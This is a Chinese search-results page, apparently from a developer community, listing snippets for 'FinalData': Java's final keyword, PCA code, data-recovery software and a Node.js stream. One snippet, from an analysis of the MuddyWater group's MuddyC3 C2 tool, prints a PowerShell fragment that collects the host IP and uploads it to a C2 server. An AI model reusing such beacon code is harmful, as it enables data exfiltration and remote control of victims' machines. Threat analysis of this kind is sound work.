展开

关键词

Final 关键字

来个Demo 如下: public class Value { int i=1; } public class FinalData { final int i1 = 9; static " + "i4 = " + i4 + ", i5 = " + i5); } public static void main(String[] args) { FinalData fd1 = new FinalData(); //! // fd1.a = new int[3]; fd1.print("fd1"); System.out.println("Creating new FinalData "); FinalData fd2 = new FinalData(); fd1.print("fd1"); fd2.print("fd2");

47860

java final 关键字

{   private static Random rand = new Random(47);   private String id;   public FinalData(String  fd1 = new FinalData("fd1");   //!  fd1.a = new int[3];     print(fd1);       print("Creating new FinalData");       FinalData fd2 =  new FinalData("fd2");       print(fd1);       print(fd2);     }   }    /* Output: fd1: i4 = INT_5的值是不可以通过创建第二个FinalData对象加以改变的。这是因为他是static的,在装载类时(也就是第一次创建这个类对象时)已经被初始化,而不是每次创建都初始化。

19420
  • 广告
    关闭

    【玩转 Cloud Studio】有奖调研征文,千元豪礼等你拿!

    想听听你玩转的独门秘籍,更有机械键盘、鹅厂公仔、CODING 定制公仔等你来拿!

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    深入探究Java关键字final的用法

    撸个代码: class Value { int i; public Value(int i) { this.i = i; } } public class FinalData { private static Random rand = new Random(47); private String id; public FinalData(String + "i4 = " + i4 + ", INT_5 = " + INT_5; } public static void main(String[] args) { FinalData fd1 = new FinalData("fd1"); // fd1.valueOne++; // Error fd1.v2.i++; fd1.v1 = "); FinalData fd2 = new FinalData("fd2"); System.out.println(fd1); System.out.println

    11820

    简单易学的机器学习算法——主成分分析(PCA)

    MATLAB实验代码如下: 主程序 %% pca dataSet = load('testSet.txt');%导入数据 % pca [FinalData, reconData] = PCA(dataSet (:,1), dataSet(:,2), '.'); plot(reconData(:,1), reconData(:,2), '.r'); hold off PCA函数段 function [ FinalData = zeros(n,k); for i = 1:k V_k(:,i) = V(:,index_k(1,i)); end %% 转换到新的空间 FinalData = dataSetAdjust*V_k; % 在原图中找到这些点 reconData = FinalData * V_k'; for i = 1 : m

    51250

    简单易学的机器学习算法——主成分分析(PCA)

    MATLAB实验代码如下: 主程序 %% pca dataSet = load('testSet.txt');%导入数据 % pca [FinalData, reconData] = PCA(dataSet (:,1), dataSet(:,2), '.'); plot(reconData(:,1), reconData(:,2), '.r'); hold off PCA函数段 function [ FinalData = zeros(n,k); for i = 1:k V_k(:,i) = V(:,index_k(1,i)); end %% 转换到新的空间 FinalData = dataSetAdjust*V_k; % 在原图中找到这些点 reconData = FinalData * V_k'; for i = 1 : m

    43431

    五款帮你减少困扰的神器软件

    4、误删文件恢复:FinalData 误删除的文件可以到回收站里恢复,但如果回收站也被清空了呢?FinalData是一款高效的文件恢复软件,可以快速将误删除的文件找回来。 除了可以恢复电脑文件外,FinalData还能恢复U盘、内存卡、移动硬盘上的数据,是一款不可多得的数据恢复神器。

    36210

    【算法】PCA算法

    那么投影后的数据FinalData为 ? 这里是FinalData(10*1) = DataAdjust(10*2矩阵)×特征向量 ? 得到结果为 ? 下图是FinalData根据最大特征值对应的特征向量转化回去后的数据集形式,可看出是将DataAdjust样本点分别往特征向量对应的轴上做投影: ? 如果取的k=2,那么结果是 ?

    54240

    【算法】PCA算法

    那么投影后的数据FinalData为 ? 这里是FinalData(10*1) = DataAdjust(10*2矩阵)×特征向量 ? 得到结果为 ? 下图是FinalData根据最大特征值对应的特征向量转化回去后的数据集形式,可看出是将DataAdjust样本点分别往特征向量对应的轴上做投影: ? 如果取的k=2,那么结果是 ?

    67360

    返回给前端图片流

    ( chunk ) { responseData.push( chunk ); }); stream.on( 'end', function() { var finalData = Buffer.concat( responseData ); response.write( finalData ); response.end(); });

    37741

    Java入门(10)-- 类的高级特性

    package core; import static java.lang.System.out; import java.util.Random; public class FinalData { private static final int a2 = rand.nextInt(10); public static void main(String[] args) { FinalData data = new FinalData(); out.println(data.a1); out.println(data.a2); FinalData data2 = new FinalData(); out.println(data2.a1); out.println(data2.a2); } } 定义为final的常量不是恒定不变的,将随机数赋予定义为 a2由于被声明为static final形式,在内存中为a2开辟了一个恒定不变的区域,当再次实例化一个FinalData对象时,仍然指向a2这块内存区域,所以a2的值保持不变。

    7730

    文件没保存怎么办?全部重新来过吗?教你把它找回来

    当然也是有希望恢复的,下面以FinalData这款软件为例,说明已删除文件(且回收站已清空)的恢复方法: 需要说明的是,一旦发现有文件被误删除,应该第一时间采用软件来恢复,并且在此之前,尽量避免硬盘写入操作 3、FinalData等专业软件恢复文件的方法 FinalData是一款恢复已经被删除的文件的强大软件,在清空回收站以后也不例外,另外,甚至能从格式化后的硬盘分区中恢复文件。

    18120

    【机器学习】--主成分分析PCA降维从初识到应用

    那么投影后的数据FinalDataFinalData(10*1) = DataAdjust(10*2矩阵) x 特征向量(-0.677873399, -0.735178656)T 得到的结果是 ?

    82020

    PCA算法原理及实现

    的函数: def pca(XMat, k): """ XMat:传入的是一个numpy的矩阵格式,行表示样本数,列表示特征 k:表示取前k个特征值相应的特征向量 finalData np.linalg.eig(covX) #求解协方差矩阵的特征值和特征向量 index = np.argsort(-featValue) #依照featValue进行从大到小排序 finalData 的二维矩阵(数组)a[m][n]中,a[1]表示第1行值 selectVec = np.matrix(featVec.T[index[:k]]) #所以这里须要进行转置 finalData = data_adjust * selectVec.T reconData = (finalData * selectVec) + average return finalData

    25920

    incaseformate传播与复现

    2、数据恢复 切勿对被删除文件的分区执行写操作,以免覆盖原有数据,然后使用常见的数据恢复软件(如:Finaldata、recuva、DiskGenius等)即可恢复被删除数据。

    20020

    incaseformate传播与复现

    2、数据恢复 切勿对被删除文件的分区执行写操作,以免覆盖原有数据,然后使用常见的数据恢复软件(如:Finaldata、recuva、DiskGenius等)即可恢复被删除数据。

    8220

    数据挖掘实战:PCA算法

    假设样本列数为 m ,特征数为 n ,减去均值后的样本矩阵为 DataAdjust(m*n),协方差矩阵为 n*n ,选取 k 个特征向量组成后的矩阵为 EigenVectors(n*k),则投影后的数据 FinalData 为: FinalData (m*k) = DataAdjust(m*n) X EigenVectors(n*k) 得到的结果是: ?

    726100

    数据挖掘实战:PCA算法

    假设样本列数为 m ,特征数为 n ,减去均值后的样本矩阵为 DataAdjust(m*n),协方差矩阵为 n*n ,选取 k 个特征向量组成后的矩阵为 EigenVectors(n*k),则投影后的数据 FinalData 为: FinalData (m*k) = DataAdjust(m*n) X EigenVectors(n*k) 得到的结果是: ?

    63770

    【V课堂】R语言十八讲(十七)—主成分分析

    那么投影后的数据FinalData为 这里是 FinalData(10*1) = DataAdjust(10*2矩阵)×特征向量 ? 得到结果是 ?

    36260

    “污水”(MuddyWater)APT组织C2工具MuddyC3浅析

    IPAddress[0]$random = -join ((65..90) | Get-Random -Count 5 | % {[char]$_});$agent="$random-img.jpeg"$finaldata application/x-www-form-urlencoded") $h=$h3.UploadString("http://192.168.2.114:4444/info/$agent",$finaldata

    38820

    Java编程思想第五版第八章 -复用

    { private static Random rand = new Random(47); private String id; public FinalData( fd1 = new FinalData("fd1"); //- fd1.valueOne++; // Error: can't change value fd1.v2. "); FinalData fd2 = new FinalData("fd2"); System.out.println(fd1); System.out.println (fd2); } } 输出: fd1: i4 = 15, INT_5 = 18 Creating new FinalData fd1: i4 = 15, INT_5 = 18 fd2: i4 = 注意到 fd1 和 fd2 的 i4 值不同,但 INT_5 的值并没有因为创建了第二个 FinalData 对象而改变,这是因为它是 static 的,在加载时已经被初始化,并不是每次创建新对象时都初始化

    24131

    扫码关注腾讯云开发者

    领取腾讯云代金券